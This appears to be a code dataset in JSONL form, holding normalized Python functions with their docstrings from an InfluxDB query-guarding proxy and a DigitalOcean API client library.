{"signature": "def flatten(d, parent_key='<STR_LIT>', sep='<STR_LIT:_>'):", "body": "items = []<EOL>for k, v in d.items():<EOL><INDENT>new_key = parent_key + sep + k if parent_key else k<EOL>if isinstance(v, collections.MutableMapping):<EOL><INDENT>items.extend(flatten(v, new_key, sep=sep).items())<EOL><DEDENT>else:<EOL><INDENT>items.append((new_key, v))<EOL><DEDENT><DEDENT>return dict(items)<EOL>", "docstring": "Flatten keys in a dictionary\nExample:\nflatten({'a': 1, 'c': {'a': 2, 'b': {'x': 5, 'y' : 10}}, 'd': [1, 2, 3]})\n=> {'a': 1, 'c_a': 2, 'c_b_x': 5, 'd': [1, 2, 3], 'c_b_y': 10}\n:param d:  Dictionary to flatten\n:param sep: Separator between keys\n:param parent_key: Key to merge with", "id": "f1424:m3"}
{"signature": "def main():", "body": "config = loader.load_config()<EOL>if config.version:<EOL><INDENT>show_version()<EOL><DEDENT>if config.show_rules:<EOL><INDENT>show_rules()<EOL><DEDENT>if not config.configfile and not (hasattr(config, \"<STR_LIT:status>\") or hasattr(config, \"<STR_LIT>\")):<EOL><INDENT>show_configfile_warning()<EOL><DEDENT>check_write_permissions(config.logfile)<EOL>start_proxy(config)<EOL>", "docstring": "Setup consumer", "id": "f1428:m0"}
{"signature": "def check_write_permissions(file):", "body": "try:<EOL><INDENT>open(file, '<STR_LIT:a>')<EOL><DEDENT>except IOError:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(file))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Check if we can write to the given file\n\nOtherwise since we might detach the process to run in the background\nwe might never find out that writing failed and get an ugly\nexit message on startup. For example:\nERROR: Child exited immediately with non-zero exit code 127\n\nSo we catch this error upfront and print a nicer error message\nwith a hint on how to fix it.", "id": "f1428:m1"}
{"signature": "def show_rules():", "body": "from rules.loader import import_rules<EOL>from rules.rule_list import all_rules<EOL>rules = import_rules(all_rules)<EOL>print(\"<STR_LIT>\")<EOL>for name, rule in rules.iteritems():<EOL><INDENT>heading = \"<STR_LIT>\".format(rule.description(), name)<EOL>print(\"<STR_LIT>\".format(heading))<EOL>for line in rule.reason():<EOL><INDENT>print(line)<EOL><DEDENT>print(\"<STR_LIT>\")<EOL><DEDENT>sys.exit(<NUM_LIT:0>)<EOL>", "docstring": "Show the list of available rules and quit\n:return:", "id": "f1428:m2"}
{"signature": "def show_version():", "body": "from version import __version__<EOL>print(\"<STR_LIT>\".format(__package__, __version__))<EOL>sys.exit(<NUM_LIT:0>)<EOL>", "docstring": "Show program version an quit\n:return:", "id": "f1428:m3"}
{"signature": "def start_proxy(config):", "body": "protector = Protector(config.rules, config.whitelist)<EOL>protector_daemon = ProtectorDaemon(config=config, protector=protector)<EOL>daemon = daemonocle.Daemon(<EOL>pidfile=config.pidfile,<EOL>detach=(not config.foreground),<EOL>shutdown_callback=shutdown,<EOL>worker=protector_daemon.run<EOL>)<EOL>daemon.do_action(config.command)<EOL>", "docstring": "Start the http proxy\n:param config:\n:return:", "id": "f1428:m6"}
{"signature": "def __init__(self, rules, whitelist=[], safe_mode=True):", "body": "self.parser = QueryParser()<EOL>self.guard = Guard(rules)<EOL>self.sanitizer = Sanitizer()<EOL>self.whitelist = whitelist<EOL>self.safe_mode = safe_mode<EOL>", "docstring": ":param rules: A list of rules to evaluate\n:param safe_mode: If set to True, allow the query in case it can not be parsed\n:return:", "id": "f1429:c0:m0"}
{"signature": "def check(self, query):", "body": "if query.get_type() in {Keyword.LIST, Keyword.DROP}:<EOL><INDENT>series = query.series_stmt<EOL><DEDENT>else:<EOL><INDENT>series = query.from_stmt<EOL><DEDENT>if len(series) >= self.min_series_name_length:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err(\"<STR_LIT>\")<EOL>", "docstring": ":param query:", "id": "f1432:c0:m3"}
{"signature": "def check(self, query):", "body": "if query.get_type() not in {Keyword.SELECT}:<EOL><INDENT>return Ok(True)<EOL><DEDENT>earliest_date = query.get_earliest_date()<EOL>if earliest_date >= self.min_start_date:<EOL><INDENT>return Ok(True)<EOL><DEDENT>if query.limit_stmt:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err((\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(self.min_start_date.strftime(\"<STR_LIT>\"),<EOL>earliest_date))<EOL>", "docstring": ":param query:", "id": "f1433:c0:m3"}
{"signature": "def check(self, query):", "body": "if query.get_type() not in {Keyword.SELECT, Keyword.DELETE}:<EOL><INDENT>return Ok(True)<EOL><DEDENT>datapoints = query.get_datapoints()<EOL>if datapoints <= self.max_datapoints:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(datapoints))<EOL>", "docstring": ":param query:", "id": "f1434:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def description():<DEDENT>", "body": "pass<EOL>", "docstring": ":return: A short description of the rule", "id": "f1436:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def reason():<DEDENT>", "body": "pass<EOL>", "docstring": "When and why the rule is useful.\n\nThis should return a list of lines instead of a long string.\nIt's easier to format line breaks this way.\n\n:return: The reason for the rule", "id": "f1436:c0:m1"}
{"signature": "def check(self, query):", "body": "pass<EOL>", "docstring": "Check if a given query is permitted\n:param query:\n:return: result.Ok() if permitted, result.Err() if not.", "id": "f1436:c0:m2"}
{"signature": "def check(self, query):", "body": "if query.get_type() != Keyword.DROP:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err(\"<STR_LIT>\")<EOL>", "docstring": ":param query:", "id": "f1438:c0:m2"}
{"signature": "def import_rule(path):", "body": "rule = importlib.import_module(path)<EOL>return rule<EOL>", "docstring": "Load the given rule\n:param path: Import path to rule", "id": "f1439:m1"}
{"signature": "def check(self, query):", "body": "if query.get_type() != Keyword.DELETE:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err(\"<STR_LIT>\")<EOL>", "docstring": ":param query:", "id": "f1440:c0:m2"}
{"signature": "def check(self, query):", "body": "if query.get_type() not in {Keyword.SELECT}:<EOL><INDENT>return Ok(True)<EOL><DEDENT>if query.get_resolution() > <NUM_LIT:0>:<EOL><INDENT>return Ok(True)<EOL><DEDENT>return Err(\"<STR_LIT>\")<EOL>", "docstring": ":param query:", "id": "f1441:c0:m2"}
{"signature": "def __init__(self):", "body": "self.keywords = {<EOL>Keyword.SELECT, Keyword.FROM, Keyword.WHERE,<EOL>Keyword.LIMIT, Keyword.ORDER,<EOL>Keyword.GROUP_BY, Keyword.DROP, Keyword.DELETE,<EOL>Keyword.LIST, Keyword.SERIES<EOL>}<EOL>self.time_parser = TimeRangeParser()<EOL>self.duration_parser = DurationParser()<EOL>self.resolution_parser = ResolutionParser()<EOL>self.datapoints_parser = DatapointsParser()<EOL>self.parsed_time = None<EOL>self.parsed_resolution = None<EOL>self.parsed_datapoints = None<EOL>self.parsed_time_overlap = None<EOL>", "docstring": "Initialize query parsers and valid InfluxDB keywords", "id": "f1443:c0:m0"}
{"signature": "def parse(self, raw_query_string):", "body": "self._reset()<EOL>if not isinstance(raw_query_string, basestring):<EOL><INDENT>return None<EOL><DEDENT>query_string = self._cleanup(raw_query_string)<EOL>parts = self._split(query_string)<EOL>parts = self._sanitize_keywords(parts)<EOL>tokens = self._tokenize(parts)<EOL>if tokens:<EOL><INDENT>self.parsed_resolution = self._parse_resolution(tokens)<EOL>self.parsed_time = self._parse_time(tokens)<EOL>self.parsed_time_overlap = self._parse_duration(self.parsed_time)<EOL>self.parsed_datapoints = self._parse_datapoints(<EOL>self.parsed_time_overlap.timespan_seconds(),<EOL>self.parsed_resolution,<EOL>self.parse_keyword(Keyword.LIMIT, tokens)<EOL>)<EOL><DEDENT>return self.create_query_object(tokens)<EOL>", "docstring": "Parse a raw query string into fields\n:param raw_query_string: Raw InfluxDB query string", "id": "f1443:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _split(query):<DEDENT>", "body": "return [word.strip() for word in query.split('<STR_LIT:U+0020>')]<EOL>", "docstring": "Split query strings into tokens\n:param query: A sanitized query string", "id": "f1443:c0:m3"}
{"signature": "def create_query_object(self, tokens):", "body": "try:<EOL><INDENT>query_type = tokens['<STR_LIT:type>']<EOL>return getattr(self, '<STR_LIT>' % query_type)(tokens)<EOL><DEDENT>except (KeyError, TypeError):<EOL><INDENT>return self.invalid_query(tokens)<EOL><DEDENT>", "docstring": "Analyze query tokens and create an InfluxDBStatement from them\nReturn None on error\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m8"}
{"signature": "def create_select_query(self, tokens):", "body": "if not tokens[Keyword.SELECT]:<EOL><INDENT>return None<EOL><DEDENT>if not tokens[Keyword.FROM]:<EOL><INDENT>return None<EOL><DEDENT>return SelectQuery(<EOL>self.parse_keyword(Keyword.SELECT, tokens),<EOL>self.parse_keyword(Keyword.FROM, tokens),<EOL>where_stmt=self.parse_keyword(Keyword.WHERE, tokens),<EOL>limit_stmt=self.parse_keyword(Keyword.LIMIT, tokens),<EOL>group_by_stmt=self.parse_group(tokens),<EOL>duration=self.parsed_time_overlap.timespan_seconds(),<EOL>resolution=self.parsed_resolution,<EOL>time_ranges=self.parsed_time,<EOL>time_overlap=self.parsed_time_overlap,<EOL>datapoints=self.parsed_datapoints<EOL>)<EOL>", "docstring": "Parse tokens of select query\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m9"}
{"signature": "def create_list_query(self, tokens):", "body": "if not tokens[Keyword.SERIES]:<EOL><INDENT>tokens[Keyword.SERIES] = '<STR_LIT>'<EOL><DEDENT>return ListQuery(self.parse_keyword(Keyword.SERIES, tokens))<EOL>", "docstring": "Parse tokens of list query\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m10"}
{"signature": "def create_drop_query(self, tokens):", "body": "if not tokens[Keyword.SERIES]:<EOL><INDENT>return None<EOL><DEDENT>return DropQuery(self.parse_keyword(Keyword.SERIES, tokens))<EOL>", "docstring": "Parse tokens of drop query\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m11"}
{"signature": "def create_delete_query(self, tokens):", "body": "<EOL>if not tokens[Keyword.FROM]:<EOL><INDENT>return None<EOL><DEDENT>where_stmt = self.parse_keyword(Keyword.WHERE, tokens)<EOL>if where_stmt:<EOL><INDENT>if not where_stmt.startswith('<STR_LIT:time>'):<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return DeleteQuery(<EOL>self.parse_keyword(Keyword.FROM, tokens),<EOL>self.parse_keyword(Keyword.WHERE, tokens)<EOL>)<EOL>", "docstring": "Parse tokens of delete query\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def invalid_query(tokens):<DEDENT>", "body": "logging.warning(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>logging.warning(\"<STR_LIT>\", '<STR_LIT:U+0020>'.join(tokens))<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Handler for invalid queries\n:param tokens: A list of InfluxDB query tokens", "id": "f1443:c0:m13"}
{"signature": "def _parse_time(self, tokens):", "body": "return self.time_parser.parse(self.parse_keyword(Keyword.WHERE, tokens))<EOL>", "docstring": "Parse the date range for the query\n\nE.g. WHERE time > now() - 48h AND time < now() - 24h\nwould result in DateRange(datetime_start, datetime_end)\nwhere\ndatetime_start would be parsed from now() - 48h\nand\ndatetime_end would be parsed from now() - 24h\n\n:param tokens:\n:return:", "id": "f1443:c0:m14"}
{"signature": "def _parse_resolution(self, tokens):", "body": "return self.resolution_parser.parse(self.parse_keyword(Keyword.GROUP_BY, tokens))<EOL>", "docstring": "Parse resolution from the GROUP BY statement.\nE.g. GROUP BY time(10s) would mean a 10 second resolution\n:param tokens:\n:return:", "id": "f1443:c0:m15"}
{"signature": "def _parse_duration(self, parsed_time):", "body": "return self.duration_parser.parse(parsed_time)<EOL>", "docstring": "Parse duration in seconds for the given query.\nThe duration is parsed from the DateRange of the query.\nFor example, consider the following query:\nselect * from bla where time > now() - 2h\nThe DateRange would be [now() - 2h, now()]\nExpressing this as seconds would be 2h => 2*60*60 seconds\nThis would be the duration of the query.\n\n:param parsed_time:\n:return:", "id": "f1443:c0:m16"}
{"signature": "def _parse_datapoints(self, parsed_duration, parsed_resolution, limit):", "body": "return self.datapoints_parser.parse(parsed_duration, parsed_resolution, limit)<EOL>", "docstring": "Parse the number of datapoints of a query.\nThis can be calculated from the given duration and resolution of the query.\nE.g. if the query has a duation of 2*60*60 = 7200 seconds and a resolution of 10 seconds\nthen the number of datapoints would be 7200/10 => 7200 datapoints.\n\n:param parsed_duration:\n:param parsed_resolution:\n:param limit:\n:return:", "id": "f1443:c0:m17"}
{"signature": "def parse(self, group_by_stmt):", "body": "if not group_by_stmt:<EOL><INDENT>return Resolution.MAX_RESOLUTION<EOL><DEDENT>m = self.GROUP_BY_TIME_PATTERN.match(group_by_stmt)<EOL>if not m:<EOL><INDENT>return None<EOL><DEDENT>value = int(m.group(<NUM_LIT:1>))<EOL>unit = m.group(<NUM_LIT:2>)<EOL>resolution = self.convert_to_seconds(value, unit)<EOL>return max(resolution, Resolution.MAX_RESOLUTION)<EOL>", "docstring": "Extract the data resolution of a query in seconds\nE.g. \"group by time(99s)\" => 99\n\n:param group_by_stmt: A raw InfluxDB group by statement", "id": "f1445:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def parse(duration_seconds, resolution_seconds=Resolution.MAX_RESOLUTION, limit=None):<DEDENT>", "body": "if not duration_seconds or duration_seconds < <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if not resolution_seconds or resolution_seconds <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>num_datapoints = duration_seconds / resolution_seconds<EOL>if limit:<EOL><INDENT>num_datapoints = min(int(limit), num_datapoints)<EOL><DEDENT>return int(math.ceil(num_datapoints))<EOL>", "docstring": "num_datapoints = min(duration/resolution, limit)\n\n:param duration_seconds: Time duration (in seconds) for which datapoints should be returned\n:param resolution_seconds: Time interval (in seconds) between data points\n:param limit: Maximum number of datapoints to return", "id": "f1447:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, cert_id):<DEDENT>", "body": "certificate = cls(token=api_token, id=cert_id)<EOL>certificate.load()<EOL>return certificate<EOL>", "docstring": "Class method that will return a Certificate object by its ID.", "id": "f1448:c0:m1"}
{"signature": "def load(self):", "body": "data = self.get_data(\"<STR_LIT>\" % self.id)<EOL>certificate = data[\"<STR_LIT>\"]<EOL>for attr in certificate.keys():<EOL><INDENT>setattr(self, attr, certificate[attr])<EOL><DEDENT>return self<EOL>", "docstring": "Load the Certificate object from DigitalOcean.\n\nRequires self.id to be set.", "id": "f1448:c0:m2"}
{"signature": "def create(self):", "body": "params = {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT:type>\": self.type,<EOL>\"<STR_LIT>\": self.dns_names,<EOL>\"<STR_LIT>\": self.private_key,<EOL>\"<STR_LIT>\": self.leaf_certificate,<EOL>\"<STR_LIT>\": self.certificate_chain<EOL>}<EOL>data = self.get_data(\"<STR_LIT>\", type=POST, params=params)<EOL>if data:<EOL><INDENT>self.id = data['<STR_LIT>']['<STR_LIT:id>']<EOL>self.not_after = data['<STR_LIT>']['<STR_LIT>']<EOL>self.sha1_fingerprint = data['<STR_LIT>']['<STR_LIT>']<EOL>self.created_at = data['<STR_LIT>']['<STR_LIT>']<EOL>self.type = data['<STR_LIT>']['<STR_LIT:type>']<EOL>self.dns_names = data['<STR_LIT>']['<STR_LIT>']<EOL>self.state = data['<STR_LIT>']['<STR_LIT:state>']<EOL><DEDENT>return self<EOL>", "docstring": "Create the Certificate", "id": "f1448:c0:m3"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Delete the Certificate", "id": "f1448:c0:m4"}
{"signature": "def assert_url_query_equal(self, url1, url2):", "body": "base1, qlist1 = self.split_url(url1)<EOL>base2, qlist2 = self.split_url(url2)<EOL>self.assertEqual(base1, base2)<EOL>self.assertEqual(qlist1, qlist2)<EOL>", "docstring": "Test if two URL queries are equal\n\n        The key=value pairs after the ? in a URL can occur in any order\n        (especially since dicts in python 3 are not deterministic across runs).\n        The method sorts the key=value pairs and then compares the URLs.", "id": "f1460:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, domain_name):<DEDENT>", "body": "domain = cls(token=api_token, name=domain_name)<EOL>domain.load()<EOL>return domain<EOL>", "docstring": "Class method that will return a Domain object by ID.", "id": "f1464:c0:m1"}
{"signature": "def destroy(self):", "body": "<EOL>return self.get_data(\"<STR_LIT>\" % self.name, type=DELETE)<EOL>", "docstring": "Destroy the domain by name", "id": "f1464:c0:m3"}
{"signature": "def create_new_domain_record(self, *args, **kwargs):", "body": "data = {<EOL>\"<STR_LIT:type>\": kwargs.get(\"<STR_LIT:type>\", None),<EOL>\"<STR_LIT:name>\": kwargs.get(\"<STR_LIT:name>\", None),<EOL>\"<STR_LIT:data>\": kwargs.get(\"<STR_LIT:data>\", None)<EOL>}<EOL>if kwargs.get(\"<STR_LIT>\", None):<EOL><INDENT>data['<STR_LIT>'] = kwargs.get(\"<STR_LIT>\", None)<EOL><DEDENT>if kwargs.get(\"<STR_LIT:port>\", None):<EOL><INDENT>data['<STR_LIT:port>'] = kwargs.get(\"<STR_LIT:port>\", None)<EOL><DEDENT>if kwargs.get(\"<STR_LIT>\", None):<EOL><INDENT>data['<STR_LIT>'] = kwargs.get(\"<STR_LIT>\", None)<EOL><DEDENT>return self.get_data(<EOL>\"<STR_LIT>\" % self.name,<EOL>type=POST,<EOL>params=data<EOL>)<EOL>", "docstring": "Create new domain record.\nhttps://developers.digitalocean.com/#create-a-new-domain-record\n\nArgs:\n    type: The record type (A, MX, CNAME, etc).\n    name: The host name, alias, or service being defined by the record\n    data: Variable data depending on record type.\n\nOptional Args:\n    priority: The priority of the host\n    port: The port that the service is accessible on\n    weight: The weight of records with the same priority", "id": "f1464:c0:m4"}
{"signature": "def create(self):", "body": "<EOL>data = {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.ip_address,<EOL>}<EOL>domain = self.get_data(\"<STR_LIT>\", type=POST, params=data)<EOL>return domain<EOL>", "docstring": "Create new doamin", "id": "f1464:c0:m5"}
{"signature": "def get_records(self, params=None):", "body": "if params is None:<EOL><INDENT>params = {}<EOL><DEDENT>records = []<EOL>data = self.get_data(\"<STR_LIT>\" % self.name, type=GET, params=params)<EOL>for record_data in data['<STR_LIT>']:<EOL><INDENT>record = Record(domain_name=self.name, **record_data)<EOL>record.token = self.token<EOL>records.append(record)<EOL><DEDENT>return records<EOL>", "docstring": "Returns a list of Record objects", "id": "f1464:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, ip):<DEDENT>", "body": "floating_ip = cls(token=api_token, ip=ip)<EOL>floating_ip.load()<EOL>return floating_ip<EOL>", "docstring": "Class method that will return a FloatingIP object by its IP.\n\nArgs:\n    api_token: str - token\n    ip: str - floating ip address", "id": "f1465:c0:m1"}
{"signature": "def load(self):", "body": "data = self.get_data('<STR_LIT>' % self.ip, type=GET)<EOL>floating_ip = data['<STR_LIT>']<EOL>for attr in floating_ip.keys():<EOL><INDENT>setattr(self, attr, floating_ip[attr])<EOL><DEDENT>return self<EOL>", "docstring": "Load the FloatingIP object from DigitalOcean.\n\nRequires self.ip to be set.", "id": "f1465:c0:m2"}
{"signature": "def create(self, *args, **kwargs):", "body": "data = self.get_data('<STR_LIT>',<EOL>type=POST,<EOL>params={'<STR_LIT>': self.droplet_id})<EOL>if data:<EOL><INDENT>self.ip = data['<STR_LIT>']['<STR_LIT>']<EOL>self.region = data['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return self<EOL>", "docstring": "Creates a FloatingIP and assigns it to a Droplet.\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.\n\nArgs:\n    droplet_id: int - droplet id", "id": "f1465:c0:m3"}
{"signature": "def reserve(self, *args, **kwargs):", "body": "data = self.get_data('<STR_LIT>',<EOL>type=POST,<EOL>params={'<STR_LIT>': self.region_slug})<EOL>if data:<EOL><INDENT>self.ip = data['<STR_LIT>']['<STR_LIT>']<EOL>self.region = data['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>return self<EOL>", "docstring": "Creates a FloatingIP in a region without assigning\nit to a specific Droplet.\n\nNote: Every argument and parameter given to this method will be\nassigned to the object.\n\nArgs:\n    region_slug: str - region's slug (e.g. 'nyc3')", "id": "f1465:c0:m4"}
{"signature": "def destroy(self):", "body": "return self.get_data('<STR_LIT>' % self.ip, type=DELETE)<EOL>", "docstring": "Destroy the FloatingIP", "id": "f1465:c0:m5"}
{"signature": "def assign(self, droplet_id):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.ip,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT>\": droplet_id}<EOL>)<EOL>", "docstring": "Assign a FloatingIP to a Droplet.\n\nArgs:\n    droplet_id: int - droplet id", "id": "f1465:c0:m6"}
{"signature": "def unassign(self):", "body": "return self.get_data(<EOL>\"<STR_LIT>\" % self.ip,<EOL>type=POST,<EOL>params={\"<STR_LIT:type>\": \"<STR_LIT>\"}<EOL>)<EOL>", "docstring": "Unassign a FloatingIP.", "id": "f1465:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def get_object(cls, api_token, droplet_id):<DEDENT>", "body": "droplet = cls(token=api_token, id=droplet_id)<EOL>droplet.load()<EOL>return droplet<EOL>", "docstring": "Class method that will return a Droplet object by ID.\n\n        Args:\n            api_token (str): token\n            droplet_id (int): droplet id", "id": "f1466:c3:m1"}
{"signature": "def get_data(self, *args, **kwargs):", "body": "data = super(Droplet, self).get_data(*args, **kwargs)<EOL>if \"<STR_LIT:type>\" in kwargs:<EOL><INDENT>if kwargs[\"<STR_LIT:type>\"] == POST:<EOL><INDENT>self.__check_actions_in_data(data)<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Customized version of get_data to perform __check_actions_in_data", "id": "f1466:c3:m4"}
{"signature": "def load(self):", "body": "droplets = self.get_data(\"<STR_LIT>\" % self.id)<EOL>droplet = droplets['<STR_LIT>']<EOL>for attr in droplet.keys():<EOL><INDENT>setattr(self, attr, droplet[attr])<EOL><DEDENT>for net in self.networks['<STR_LIT>']:<EOL><INDENT>if net['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>self.private_ip_address = net['<STR_LIT>']<EOL><DEDENT>if net['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>self.ip_address = net['<STR_LIT>']<EOL><DEDENT><DEDENT>if self.networks['<STR_LIT>']:<EOL><INDENT>self.ip_v6_address = self.networks['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>if \"<STR_LIT>\" in self.features:<EOL><INDENT>self.backups = True<EOL><DEDENT>else:<EOL><INDENT>self.backups = False<EOL><DEDENT>if \"<STR_LIT>\" in self.features:<EOL><INDENT>self.ipv6 = True<EOL><DEDENT>else:<EOL><INDENT>self.ipv6 = False<EOL><DEDENT>if \"<STR_LIT>\" in self.features:<EOL><INDENT>self.private_networking = True<EOL><DEDENT>else:<EOL><INDENT>self.private_networking = False<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in droplets:<EOL><INDENT>self.tags = droplets[\"<STR_LIT>\"]<EOL><DEDENT>return self<EOL>", "docstring": "Fetch data about droplet - use this instead of get_data()", "id": "f1466:c3:m5"}
{"signature": "def _perform_action(self, params, return_dict=True):", "body": "action = self.get_data(<EOL>\"<STR_LIT>\" % self.id,<EOL>type=POST,<EOL>params=params<EOL>)<EOL>if return_dict:<EOL><INDENT>return action<EOL><DEDENT>else:<EOL><INDENT>action = action[u'<STR_LIT:action>']<EOL>return_action = Action(token=self.token)<EOL>for attr in action.keys():<EOL><INDENT>setattr(return_action, attr, action[attr])<EOL><DEDENT>return return_action<EOL><DEDENT>", "docstring": "Perform a droplet action.\n\nArgs:\n    params (dict): parameters of the action\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m6"}
{"signature": "def power_on(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "Boot up the droplet\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m7"}
{"signature": "def shutdown(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "shutdown the droplet\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m8"}
{"signature": "def reboot(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "restart the droplet\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m9"}
{"signature": "def power_cycle(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "restart the droplet\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m10"}
{"signature": "def power_off(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "restart the droplet\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m11"}
{"signature": "def reset_root_password(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "reset the root password\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m12"}
{"signature": "def resize(self, new_size_slug, return_dict=True, disk=True):", "body": "options = {\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:size>\": new_size_slug}<EOL>if disk: options[\"<STR_LIT>\"] = \"<STR_LIT:true>\"<EOL>return self._perform_action(options, return_dict)<EOL>", "docstring": "Resize the droplet to a new size slug.\n        https://developers.digitalocean.com/documentation/v2/#resize-a-droplet\n\n        Args:\n            new_size_slug (str): name of new size\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                                otherwise return an Action.\n            disk (bool): If a permanent resize, with disk changes included.\n\n        Returns dict or Action", "id": "f1466:c3:m13"}
{"signature": "def take_snapshot(self, snapshot_name, return_dict=True, power_off=False):", "body": "if power_off is True and self.status != \"<STR_LIT>\":<EOL><INDENT>action = self.power_off(return_dict=False)<EOL>action.wait()<EOL>self.load()<EOL><DEDENT>return self._perform_action(<EOL>{\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:name>\": snapshot_name},<EOL>return_dict<EOL>)<EOL>", "docstring": "Take a snapshot!\n\n        Args:\n            snapshot_name (str): name of snapshot\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                otherwise return an Action.\n            power_off (bool): Before taking the snapshot the droplet will be\n                turned off with another API call. It will wait until the\n                droplet will be powered off.\n\n        Returns dict or Action", "id": "f1466:c3:m14"}
{"signature": "def restore(self, image_id, return_dict=True):", "body": "return self._perform_action(<EOL>{\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:image>\": image_id},<EOL>return_dict<EOL>)<EOL>", "docstring": "Restore the droplet to an image ( snapshot or backup )\n\n        Args:\n            image_id (int): id of image\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                otherwise return an Action.\n\n        Returns dict or Action", "id": "f1466:c3:m15"}
{"signature": "def rebuild(self, image_id=None, return_dict=True):", "body": "if not image_id:<EOL><INDENT>image_id = self.image['<STR_LIT:id>']<EOL><DEDENT>return self._perform_action(<EOL>{\"<STR_LIT:type>\": \"<STR_LIT>\", \"<STR_LIT:image>\": image_id},<EOL>return_dict<EOL>)<EOL>", "docstring": "Restore the droplet to an image ( snapshot or backup )\n\n        Args:\n            image_id (int): id of image\n\n        Optional Args:\n            return_dict (bool): Return a dict when True (default),\n                otherwise return an Action.\n\n        Returns dict or Action", "id": "f1466:c3:m16"}
{"signature": "def enable_backups(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "Enable automatic backups\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m17"}
{"signature": "def disable_backups(self, return_dict=True):", "body": "return self._perform_action({'<STR_LIT:type>': '<STR_LIT>'}, return_dict)<EOL>", "docstring": "Disable automatic backups\n\nOptional Args:\n    return_dict (bool): Return a dict when True (default),\n        otherwise return an Action.\n\nReturns dict or Action", "id": "f1466:c3:m18"}
{"signature": "def destroy(self):", "body": "return self.get_data(\"<STR_LIT>\" % self.id, type=DELETE)<EOL>", "docstring": "Destroy the droplet\n\nReturns dict", "id": "f1466:c3:m19"}
